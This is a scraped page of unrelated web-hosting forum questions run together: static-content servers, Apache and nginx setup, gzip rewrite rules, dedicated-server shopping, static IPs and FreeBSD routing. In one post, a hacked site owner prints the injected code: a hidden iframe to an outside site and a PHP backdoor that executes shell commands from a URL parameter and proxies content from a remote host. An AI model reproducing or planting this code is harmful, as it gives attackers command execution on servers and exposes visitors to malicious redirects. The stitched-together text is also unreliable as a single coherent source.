I'm configuring an VPS that's going to serve all static stuff and absolutely no dynamic scripts at all.
What could be the bottle necks with all these static content websites? Can a 256MB VPS handle a static website receiving millions of page views a month?
We recently began to mirror a large number of open source projects with a dedicated mirror server on our network and I was surprised not only with how popular the mirror server has become, is, but also of the ability of the hardware we're using to keep up with the load.
At an given time, the mirror seems to be pushing at least 50 Megabits of trafficthe server is also an IRC server (irc.igsobe.com) for customers and internal staff communications.
The hardware is a low end Dell Pentium 4 @ 2.66 GHZ server, running with 512MB of RAM and a 400 GB ATA hard drive. CentOS v5.3 is the operating system.
If you're interested, you can view the HTML logfile analysis here but that doesn't tell the full story as FTP users make up a good portion of the traffic. We've received over a quarter million hits in the first few days of November alone.
18:14:15 up 65 days, 9:04, 5 users, load average: 0.31, 0.69, 0.56
The only change that I made to the default configuration was lowering the maximum number of Apache servers to 128.
Just thought I'd share this information as I wouldn't have thought a server with such a small amount of RAM would be able to serve up so much data, even though we are talking strictly static HTML files.
I'll definitely keep this in mind when clients ask me for those "what type of dedicated server should I use for XXX" type discussions that are had all too often with clients.
this isn't my server, so I don't have a lot of information about it, other than it's a Linux/Apache Dedicated server at EV1. (cPanel/WHM)
There are other sites on the server, and they are running fine.
One site has a terrible lag. It takes about 10 seconds to serve up a static HTML file..
Now, it's not like the server is slow. It's like this: You request a small HTML file. The site sits and thinks about it for about 10 seconds, and then after that everything processes quickly.
The forum on the site is the same way. Everything you click on works fine and loads quickly after that initial delay passes.
Is there a common configuration problem that might be causing this?
If you want to see this phenomenon, here are a few test files:
[url]
[url]
[url]
[url]
I've been running website for several years, however, there's one thing that I've never quite figured, most likely because I haven't gone over to dedicated/vps yet.
How much memory would a static 10kb HTML use or for that matter a PHP page (static)?
I know it's quite a broad question, but I'm asking this as I might start a project and this one page may receive many hits. Oh and, would the memory usage go up if I have embedded objects from an outside source (e.g. embedded Youtube videos)?
I'm looking for a way to get a little more mileage out of Apache + PHP environment without losing Apache capabilities. In shared hosting environments, losing features such as .htaccess and a real mod_rewrite are not even on the table. I'm also not willing to accept the performance hit and connection issues that are inherent with FastCGI, so that means mod_php.
In this particular situation, there are two busy sites, which are the problem.
These are a few ideas I've been thinking about.
1. mod_proxy + nginx: mod_proxy sends static content requests to nginx. This requires two sets of vhost files to be maintained.
2. mod_cache: Caching common static content such as page graphics .css, .js, etc.
3. squid
If you've been down 2 or more of these roads, I could benefit from your experience.
I'm trying to serve as much gzipped content as possible on my web site. I will gzip dynamic pages on the fly using PHP, and I plan to gzip static content just one time, not to use much CPU, and serve css.gz, .js.gz files, etc... So, I uploaded a test.html file and a .css file that changes the color of the text to red. I gzipped the css file:
%gzip style.css
I also uploaded an .htaccess file with this content:
RewriteEngine on
RewriteBase /gzip/
RewriteCond %{HTTP_ACCEPT_ENCODING} gzip
RewriteRule ^(([^.]+.)+)css$ /$1css.gz
For now I'm not going to include any gunzipped style sheet, just to make sure my browser picks the gzipped style sheet. I also uploaded a phpinfo.php file to make sure I have mod_gzip. So, here's the list of files I have:
- .htaccess
- style.css.gz
- test.html
- phpinfo.php
But when I open the test.html file: [url] the style sheet isn't applied. If I upload a regular style.css file, it works fine. It seems the Rewrite rules aren't taken into account. Do you know how I could server the gzipped style sheet instead?
I am a non-tech person trying to configure Nginx to serve static content (apache will remain on port 80 for the dynamic stuff).
Nginx is already installed, what I need is a workable configuration file for nginx so that it serves all static stuff (images and a few folders with static html) and instructions in how to create it. The server is running DirectAdmin panel, Apache 2.24, PHP 5.23 and XCache 1.2.
Ok, I'm a few lost about which dedicated server to choose.
First, I need 2 dedicated servers. These servers are only to download static content.
Downloadable files are small (50-400k).
I'll use lightweight server.
If there are too many user, I'll buy another server.
I search for excellent uptime, US server and fast download server.
I've visited some popular web hosting but if you know better, lets me know
1and1
Price (Root Server): $99
CPU: Single Core AMD Athlon 64 3500+ 2.2 GHz
RAM: 1 GB
HD: 2 x 160 GB
Bandwidth: 2,000 GB
Bandwidth Cap: 100 Mbps
GoDaddy
Price: $68
CPU: Celeron 2.0GHz
RAM: 1GB
HD: 1 x 120GB
Bandwidth: 500GB
Bandwidth Cap: 10-20 Mbps
Also, the price between 1and1 and GoDaddy is $31 but 1and1 give more on cpu, hd, bandwidth(4x), connection...
One of my question is 1and1 offers a average price for dedicated server or GoDaddy spends a part of money with Amanda, Candice and Danica?
Do you have some suggestion for dedicated server or web hosting?

View 0 Replies View RelatedMy site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0

");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
Has anyone had any more luck getting a response to either tickets or emails from Burton Hosting since the last thread here, which is months old? Our uptime remains decent, but with absolutely no responses to tickets (we have many outstanding by now) or emails (both to the standard network and support addresses and to individuals personally), and their phones disconnected, we of course are very concerned, and will probably be forced to look for a new host (I just hate the hassle!!) when our contract expires next month.
I did find in another forum posts about a Virante Marketing fiasco in which Burton was falsifying reviews, etc.---this does NOT sound like the Burton I knew before.
While we have exploratory emails out to DreamHost and a few others, I was hoping someone here would know a way to contact Burton---I just hate not knowing!
I currently have an existing web hosting package with a web host. However, I need to supplement that with a file hosting service for my users.
I'm estimating that I will need about 2Gb disk space, and approximately 30~40Gb of traffic monthly. This will just be plain static file hosting. I don't need any scripts, databases, etc.
i am looking for a hosting allow adult content, I need only space for a forum and a main page (welcome page) in html and some extras I think 1 or 2 GB of space is cool. About transfer up to 15GB.
I want to do is users downloading videos and photos through rapidshare, megaupload and that stuff.
About the pics, images are put through imageshack, imagevenue etc. Thas is why i dont need to much space.
Currently I have 2 websites with different content. hosted in Hawkhost and jaguarpc.
Jaguarpc allow adult content but only in VPS
Hawkhost I think dont allow adult content.
also need to have ability to pay for 6 or 12 months..

My host [in USA] that I only use for php/mysql points to my static content CentOS server [in Japan] in my house connected to my CATV. At least for testing (outside my house) I can't notice any bad latency since my USA host just serves up small HTML code dynamically and the static content (up to 100k-500k per file) is already available inside Japan. I want to keep (and scale up, if needed) my php/mysql in USA due to language and other issues so I'm hoping (?) as the number of users goes up (or any other issues I can't think of now) latency does not become a problem just for the html. Any comment on that?
My next step to "create" balanced static hosting in Japan is to get two different VPS accounts here in Japan (on two different physical servers) and use php to randomly select which VPS will provide the static content when a user logs in. PHP will also test to make sure the static server is active. If it is down the code will direct to the other server. If my project grows I will - on the Japan side - get more VPSs or even multiple dedicated servers and use the php to manage this "balanced" system like I described.
Is there a way to stop them totally? i.e. even though they are successfully uploaded but I do not want the source to be available to them etc.?
I mean, is there a way to hide or not allow them to execute any shell?

My ISP here in the UK does not provide static ip addresses. I'd like to be able to set my server to only accept root access attempts from a set IP.

I've had a search on WHT and Google but most of the documentation I've encountered is for people who want to run a web server from their home machine and so want a static IP for incoming connections.

Also I'm in the Atlanta GA region, does anyone have any reccomendations on a bandwidth provider and avarage cost of static IP's?
I have a small network at my colo provider.

I want to setup static routes on my servers so that my colo provider won't bill me for traffic among my servers.
I use FreeBSD 6 on my servers. I read the FreeBSD handbook on this and it looks like i should do this:
route add -net 0.0.0/24 0.0.0.3
where 0.0.0/24 is the C class I have from my provider and 0.0.0.3 is the IP address of my server (one of them/any of them).
However, this route appears to already exist as i get this error when running that route command:
route: writing to routing socket: File exists
add net 0.0.0: gateway 0.0.0.3: route already in table
Do I need to use a non-routeable ip block (eg 192.168.x.x) for this? Can I use "real"/routeable ips? Does FreeBSD take care of this for me automatically?
